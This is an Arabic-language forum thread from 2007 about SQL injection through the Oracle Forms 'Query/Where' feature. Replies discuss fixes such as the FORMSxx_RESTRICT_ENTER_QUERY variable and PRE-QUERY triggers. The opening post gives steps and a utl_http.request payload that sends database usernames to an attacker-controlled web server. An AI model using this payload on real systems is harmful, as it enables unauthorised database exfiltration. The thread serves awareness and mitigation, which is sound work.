بتاريخ: 15 فبراير 200719 سنة comment_91913 السلام عليكم ..........هل يستطيع hacker أن يستغل الفورم وينفذ جمل sql كما يشاء؟؟؟؟؟؟؟الإجابة/ نعم معلومة في الملف المرفق بالأسفل رائعة ياليت يستفيد منها الكل *********************************(بشكل مختصر)****************************هنالك شيء قديم منسي في الاوراكل . يوجد في الاوراكل ميزة تسمى “Query/Where” تسمح لأي مستخدم بالتعديل بجمل sql الحالية هذه ميزة مفيدة جدا للمستعملين المصرح لهم ولكنها في نفس الوقت خطيرة لأن كل مستخدم يستعمل برامج الواجهات للاوراكل يمكن ان ينفذ أي جمل sql قد يكون الكلام غير واضح لكن لنأخذ مثال((Scott.emp : ===================================1)-افتح فورم جديدة وجعل الوضع query بعد ذلك قم بإدخال علامة النقطتان (: ) أو (&)2)- قم بتنفيذ الامر Execute_query ستظهر النافذة “Query/Where” فارغة3)- قم بإدخال جملة .Sql جملة وهي تقوم بإرسال الناتج لجملة Sql (select username from all_users where rownum=1) إلى web server خارجي او داخليلكن تذكر utl_http تقبل طلب صف واحد من الاستعلام فقطEname=utl_http.request('pcorcl:8888/'||(select username from all_users where rownum=1))خادم الوب للمهاجم يحتوي الان على نتيجة الاستفسار للجملة السابقةاما إذا كانت جملة Sql غير صحيحة مثل :Ename=utl_http.request('pcorcl:8888/'||(select username from dualx))سوف يرجع الاوراكل بالخطأ التالي (FRM-40505: Oracle error: unable to perform query)تستطيع ان تحصل على معلومات الخطأ التالي من خلال CTRL+SHIFT+Eما هو الضرر او التاثير الذي يحدث من هذه العملية؟؟؟؟؟؟؟؟؟؟كل مستخدم يستطيع ان يستعلم عن البيانات الموجودة في الداتابيز وهذه مشكلة. في كل الحالات يستطيع المستخدم ان ينفذ PLSQL packages ويمنحها لـ public .حل المشكلة- هنالك طريقتين لحل المشكلة :الطريقة الاولى :استخدام Trigger/On_error,pre-queyالطريقة الثانية :وهي طريقة اسهل بتغير قيمة بارميتر ملاحظة: لمن يطلع على الملف المرفق إذا استطاع تفادي المشكلة الرجاء الإجابة حاولت احل المشكلة بالطريقة الاولى ونجحت ولاكن عند تنفيذ execute_query لا تخرج البيانات اما الطريقة الثانية لم اعرفها المثال مجرب (9i ) وشكرا .اتمنى ان تكون هذه معلومة جديدة .الملف sql_injection_forms_us.pdf تقديم بلاغ
بتاريخ: 18 فبراير 200719 سنة comment_92159 فعلا لقد سمعت عن هذه المشكلة في احد المنتديات الاجنبية يمكنك حل هذه المشكلة بتغير قيمة الباراميتر FORMSxx_RESTRICT_ENTER_QUERY=true انا شخصيا لم اجربها ولكن سمعت عنها تقديم بلاغ
بتاريخ: 19 فبراير 200719 سنة كاتب الموضوع comment_92217 مشكور عزيزي moody_4uلاكن يبقى الأن كيفية الحصول على البارميتروتغير قيمته تقديم بلاغ
بتاريخ: 20 فبراير 200719 سنة comment_92238 Set the undocumented environment variable FORMSxx_RESTRICT_ENTER_QUERY=true (FORMS60_RESTRICT_ENTER_QUERY for Forms 6.x, FORMS90_RESTRICT_ENTER_QUERY for Forms 9.x/10g) and restart the Forms server. This environment variable disables the possibility of using the query/where functionality.or only if really need Query/Where:Write a PRE_QUERY/ON-ERROR-trigger for EVERY input field and validate the entire input for EVERY Oracle Forms module (*.fmb) تقديم بلاغ
بتاريخ: 22 فبراير 200719 سنة كاتب الموضوع comment_92454 شكرا اخي اسامة المعلومة التي كتبتها ان اعرفهاولكن البارميتر في اي فولدر يمكن الحصول عليه ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟والطريقة الأخرى جربتها لاكن لم تفلح وإذا كنت عاملها وضح لنا اكثر حتى تعم الفائدة للجميعوجزاك الله خير تقديم بلاغ
انضم إلى المناقشة
يمكنك المشاركة الآن والتسجيل لاحقاً. إذا كان لديك حساب, سجل دخولك الآن لتقوم بالمشاركة من خلال حسابك.